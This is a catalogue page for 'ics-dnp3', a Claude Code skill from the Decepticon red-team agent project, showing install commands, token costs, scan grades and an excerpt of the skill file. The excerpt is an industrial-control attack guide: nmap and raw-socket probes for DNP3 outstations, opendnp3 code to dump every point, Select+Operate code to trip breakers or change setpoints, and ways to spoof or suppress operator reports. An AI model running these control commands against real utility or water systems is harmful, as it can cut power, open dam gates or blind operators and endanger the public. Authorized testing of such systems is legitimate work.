ics-dnp3

ics-dnp3 is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 67 tokens per session (1,260 once invoked), scanned A, original, Apache-2.0.

A security testing guide for DNP3, an industrial protocol widely used by electric utilities, water systems, and remote control equipment. It covers finding outstations, reading status points, and assessing commands that operate field devices.

In plain words
What is it for?
Use it to enumerate DNP3 outstations, read binary, analogue, counter, and event data, review secure-authentication downgrade risks, and assess relay-control command exposure.
Why use it?
It helps reveal weak protection around telemetry and control channels, including access that could expose system state or operate equipment such as breakers.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to enumerate DNP3 outstations, read binary, analogue, counter, and event data, review secure-authentication downgrade risks, and assess relay-control command exposure.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/dnp3
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,471 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill dnp3
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ics-dnp3

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/dnp3/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/dnp3)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/dnp3"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dnp3/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ics-dnp3

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/dnp3"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/dnp3.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 67 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,260 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 20
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00067 $0.01260
Opus 5 $0.00034 $0.00630
Sonnet 5 $0.00013 $0.00252
Haiku 4.5 $0.00007 $0.00126

Measured 6d ago against content hash b1c5b1b9ab0e, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

ics-dnp3 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • dnp3 — 97% identical, 2 lines differ
packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md · 119 lines

How it starts

The opening of the file, as written. The whole thing — 119 lines — stays where its author put it; the contents beside it link to each section on GitHub.

DNP3 Attack — Utility SCADA

DNP3 is the dominant protocol in North American electric utilities (substations, RTUs) and water/wastewater. TCP/20000.

Discover

# nmap
nmap -p 20000 --script=dnp3-info 10.0.0.0/24

# Or pyOPENDNP3 / pydnp3 / dnp3-toolkit
# Quick test:
python3 -c '
import socket, struct
# DNP3 link layer Start (0x05 0x64), Length, Control, Dest, Src
pkt = b"\x05\x64\x05\xc0\x00\x00\x01\x00\xa5\xa1"
s = socket.socket(); s.connect(("10.0.0.50", 20000)); s.send(pkt)
print(s.recv(256).hex())
'

Read attacks (passive — generally safe)

# pydnp3 (or opendnp3 Python binding) — read class 0, 1, 2, 3 data
import opendnp3
# ... master init + asyncrun ...
# Class 0 = static (current value of every point)
# Class 1/2/3 = events (changes)
master.ScanClasses([0, 1, 2, 3])
# Output: a dump of every binary/analog/counter/control point's state.

Control attacks (potentially HIGH IMPACT)

Control Relay Output Block (CROB) — trip / close a breaker

# Group 12 Var 1 CROB — operation field controls action
# trip = 0x81, close = 0x41, pulse on = 0x01
import opendnp3
crob = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON)
res = master.SelectAndOperate(crob, 5)   # select+operate on index 5
# Index 5 might be "circuit breaker 5 trip" — opens the breaker.

This is the single most dangerous DNP3 primitive: a successful Select+Operate on the right index can trip transmission breakers, open dam gates, shut off pumps.

Analog Output Block (AOB) — setpoint

aob = opendnp3.AnalogOutputInt16(value=100)
master.SelectAndOperate(aob, 3)
# index 3 might be voltage setpoint, water level, etc.

Unsolicited reporting abuse

DNP3 supports outstation-initiated reports. An attacker positioned between master and outstation can:

  • Inject fake unsolicited reports (false alarms) — operator response cascade
  • Suppress real reports — operator blind during a real fault
  • Reply with stale data via timestamp tampering (Group 50 Var 1)

Read the full file on GitHub · 119 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 119 lines · 67 tokens per session scan A b1c5b1b9ab0e

Subscribe to this mod's changes

ics-dnp3 is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,471 stars, last pushed 10d ago), licensed Apache-2.0. It adds 67 tokens to every session and 1,260 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.